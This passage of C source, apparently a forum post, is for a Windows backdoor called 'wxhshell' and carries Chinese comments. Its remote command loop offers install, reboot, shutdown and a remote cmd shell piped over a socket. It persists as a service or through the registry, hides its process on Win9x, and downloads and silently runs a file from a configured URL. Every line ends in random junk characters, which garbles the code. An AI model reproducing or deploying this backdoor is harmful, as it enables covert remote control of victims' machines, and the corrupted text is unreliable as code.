  // 安装 V9T 4 +  
  case 'i': { N<liS3>  
    if(Install()) $@2"{9Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WNa3^K/W{  
    else j;iL&eo>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UfKkgq#  
    break; ra:GzkIw  
    } :CTL)ad2  
  // 卸载 MtUY?O.P2  
  case 'r': { n+?-�  
    if(Uninstall()) c|lU(Tf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #W|!fILL  
    else IBET'!j4"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ufP Cx|x~  
    break; H* /&A9("  
    } < Y>3  
  // 显示 wxhshell 所在路径 ,eXFN?CB  
  case 'p': { (@q3^)I4  
    char svExeFile[MAX_PATH]; )[jy[[K(  
    strcpy(svExeFile,"\n\r"); g/#~N~&  
      strcat(svExeFile,ExeFile); +9zA^0   
        send(wsh,svExeFile,strlen(svExeFile),0); ~KRnr0  
    break; q 5p e~  
    } ,d cg?48  
  // 重启 )b92yP{  
  case 'b': { X`1p'JD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t#5:\U5r.  
    if(Boot(REBOOT)) TEWAZVE*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pbe7SRdr^  
    else { M"(6&M=?  
    closesocket(wsh); sJ~P:g  
    ExitThread(0); c&*l"  
    } hk} t:<  
    break; h$Tr sO  
    } t77'fm  
  // 关机 Ea]T>4  
  case 'd': { =/9<(Tt%m  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @.ZL7$|d  
    if(Boot(SHUTDOWN)) io2@}xZF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X$V|+lTk  
    else { -k{ Jp/-D  
    closesocket(wsh); L\L"mc|O  
    ExitThread(0); 7|Dn+ =  
    } +"uwV1)b"  
    break; <d"Gg/@a  
    } f`|G]da-3o  
  // 获取shell fY_%33_I$  
  case 's': { TwFb%YM  
    CmdShell(wsh); hnzNP\$U]  
    closesocket(wsh); c~+l-GIWm  
    ExitThread(0); "w&/m}E,[  
    break; O]{*(J/t  
  } _|<BF  
  // 退出 $<OhGk-  
  case 'x': { =}R~0|^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W:O0}   
    CloseIt(wsh); /^2CGcT(  
    break; E[?kGR[  
    } _{Y$o'*#I  
  // 离开 gS$A   
  case 'q': { yM ,VrUh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <%KUdkzEP  
    closesocket(wsh); ? )_7U  
    WSACleanup(); ^ ulps**e  
    exit(1); t`u!]DHv  
    break; 7'OPjt M  
        } H$tb;:  
  } 5v9uHxy  
  } N9]xJgTze  
4ht\&2&:  
  // 提示信息 uyT/Xzo3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /9_#U#vhY  
} 2 B` 8eb  
  } \r;F2C0*i  
FH*RU1Z  
  return; ]XUSqai  
} hYb9`0G"2  
C`4gsqD;Z  
// shell模块句柄 .pvxh|V  
int CmdShell(SOCKET sock) <xlm K(  
{ Mm#[&j[Y  
STARTUPINFO si; |ym%| B  
ZeroMemory(&si,sizeof(si)); tcA;#^jc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =i6:puf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qks|d_   
PROCESS_INFORMATION ProcessInfo; f&yQhe6q  
char cmdline[]="cmd"; =M<z8R  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zZ,Yfd |W  
  return 0; )ooWQ-%P  
} Ei~f`{i  
0x5xLg;Q  
// 自身启动模式 ow.j+ <M  
int StartFromService(void) oT3Y!Y3=<  
{ #C\4/g? =,  
typedef struct Jqru AW<  
{ D$nK`r  
  DWORD ExitStatus; p5<2N  
  DWORD PebBaseAddress; /2@["*^$  
  DWORD AffinityMask; 4;*f1_;f~  
  DWORD BasePriority; %-j&e44  
  ULONG UniqueProcessId; gj+3y9  
  ULONG InheritedFromUniqueProcessId; I/B1qw;MN  
}   PROCESS_BASIC_INFORMATION; xK;e\^v  
"^%Z'ou  
PROCNTQSIP NtQueryInformationProcess; (p |DcA]BX  
Zq*eX\#C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uA\J0"0; }  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \L[i9m|e  
VPd,]]S5(  
  HANDLE             hProcess; n+oDC65[  
  PROCESS_BASIC_INFORMATION pbi; #J$qa Ul  
M!{'ED  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >5Lexj  
  if(NULL == hInst ) return 0; n )K6i7]xk  
l2&hBacT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &qRJceT(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~m`!;rE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V8"Wpl9Cz  
0YS?=oi  
  if (!NtQueryInformationProcess) return 0; QIV%6q+*R  
s#^pC*,'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k/lFRi-i  
  if(!hProcess) return 0; I]uhi{\C  
@2e2^8X7f  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]}2Ztr)zZ  
nY^Nbh0  
  CloseHandle(hProcess); d 4O   
Fu)Th|5GZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -&Gfh\_NW  
if(hProcess==NULL) return 0; hz)9"B\S  
f\K#>u* Q  
HMODULE hMod; 2 F?kjg,  
char procName[255]; n`L,]dco  
unsigned long cbNeeded; h0VzIuV  
uD)-V;}P@;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a$}mWPp+f  
W9R`A  
  CloseHandle(hProcess); -7`-wu  
Sz0+ <F#5  
if(strstr(procName,"services")) return 1; // 以服务启动 .nZ3kT`  
EOVZGZF  
  return 0; // 注册表启动 b3U6;]|x  
} X\sm[_I  
V(mn yI  
// 主模块 qm(1:iK,0  
int StartWxhshell(LPSTR lpCmdLine) 1^{`lK~2  
{ ._<ii2K'  
  SOCKET wsl; JSW&rn  
BOOL val=TRUE; =n0*{~r  
  int port=0; -(;LQDG |  
  struct sockaddr_in door; /EFq#+6  
 c8DZJSO  
  if(wscfg.ws_autoins) Install(); `ROEV~  
Dip*}8$o(w  
port=atoi(lpCmdLine); $a.u05  
n33kb/q*  
if(port<=0) port=wscfg.ws_port; U9ZbVjqv@  
a8s4T$  
  WSADATA data; =!<G!^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3] 76fF\^[  
t26ij`V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p`>d7S>"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QN G&  
  door.sin_family = AF_INET; *fhX*e8y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _t-7$d"  
  door.sin_port = htons(port); f a5]a  
;$!I&<)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +1@AGJU3  
closesocket(wsl); )HVcG0H1  
return 1; Tsz NlRxc  
} jA`a/v Wu  
W_<4WG  
  if(listen(wsl,2) == INVALID_SOCKET) { iBvOJs  
closesocket(wsl); ;<-7*}Dj  
return 1; rn" pKUd  
} \P?A7vuhLs  
  Wxhshell(wsl); s4,(26y  
  WSACleanup(); 1K[(ou'rl  
m6U8)!)T  
return 0; s~$zWx@v  
=`p&h}h-L  
} MUcN C\`z  
7rIlTrG  
// 以NT服务方式启动 nW5K[/1D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]Oso#GYD  
{ B8~= RmWLl  
DWORD   status = 0; (@Zcx9  
  DWORD   specificError = 0xfffffff; _01Px a2.  
A3s57.Z]|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %#k,6 ;m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |Fv?6qw+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2k+16/T  
  serviceStatus.dwWin32ExitCode     = 0; -e*BqH2t  
  serviceStatus.dwServiceSpecificExitCode = 0; v2J0u:#,  
  serviceStatus.dwCheckPoint       = 0; ")M;+<c"l  
  serviceStatus.dwWaitHint       = 0; ;[Tyt[  
\ X$)vK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -P#nT 2  
  if (hServiceStatusHandle==0) return; ;.s: X  
Kbas-</Si  
status = GetLastError(); "DjU:*'  
  if (status!=NO_ERROR) =Ahw%`/&}]  
{ v*r9j8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z[} $n-V  
    serviceStatus.dwCheckPoint       = 0; SE!L :  
    serviceStatus.dwWaitHint       = 0; -,GEv%6c  
    serviceStatus.dwWin32ExitCode     = status; xNgt[fLpS  
    serviceStatus.dwServiceSpecificExitCode = specificError; n`<U"$*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (,LL[&;:  
    return; 'F5)ACA%  
  }  :]c=pH  
Jsn <,4DO8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]kS7n @8  
  serviceStatus.dwCheckPoint       = 0; q^Inb)FeN  
  serviceStatus.dwWaitHint       = 0; ]{Ek[Av  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,!>fmU`E4  
} 6V;:+"BkJ  
:6u~aT/  
// 处理NT服务事件,比如:启动、停止 j9xXKa5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lzfDH =&  
{ AZ wa4n}"  
switch(fdwControl) ZQ[~*)  
{ Wc;+2Hl[@  
case SERVICE_CONTROL_STOP: Cef7+fa  
  serviceStatus.dwWin32ExitCode = 0; $l"MXxx5I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h{/ve`F>@  
  serviceStatus.dwCheckPoint   = 0; x,1=D~L}  
  serviceStatus.dwWaitHint     = 0; A&l7d0Z^j5  
  { \n0gTwiO%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B01^oYM}  
  } d_T<5Hin  
  return; e?<D F.Md+  
case SERVICE_CONTROL_PAUSE: :t>Q:mX(N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }17bV, t  
  break; m!Af LSlwm  
case SERVICE_CONTROL_CONTINUE: #!d]PH746  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b-nYxd  
  break; mV zu~xym  
case SERVICE_CONTROL_INTERROGATE: @?/\c:cp  
  break; O+FBQiv  
}; N84qcc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {^wdJZ~QLK  
} rfTe  
RbAt3k;y  
// 标准应用程序主函数 J wFned#T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o?dR\cxj  
{ la702)N{  
BD'NuI  
// 获取操作系统版本 hbnS~sva  
OsIsNt=GetOsVer(); >zR14VO`_|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +H}e)1^ I  
D3.VXuKn6  
  // 从命令行安装 V}:'Xgp*N  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;+/NjC1  
[; @):28"  
  // 下载执行文件 CB({Rn  
if(wscfg.ws_downexe) { #eLN1q&Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4\1;A`2%0  
  WinExec(wscfg.ws_filenam,SW_HIDE); YFqZe6g0$  
} :gaETr  
o^PuhVu  
if(!OsIsNt) { bK7.St  
// 如果时win9x,隐藏进程并且设置为注册表启动 9K$]h2  
HideProc(); 8^T2^gs  
StartWxhshell(lpCmdLine); UoRDeYQ`E  
} -<d(  
else !x_t`78T  
  if(StartFromService()) -yA3 RP  
  // 以服务方式启动 /.v_N%*-v  
  StartServiceCtrlDispatcher(DispatchTable); 4d-q!lRpa  
else :<UtHf<=k  
  // 普通方式启动 %/%gMRXG2  
  StartWxhshell(lpCmdLine); `Sx.|`x8  
w"6aha*%7  
return 0; QQ~23TlA  
}
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只看该作者 1 发表于: 2006-10-10
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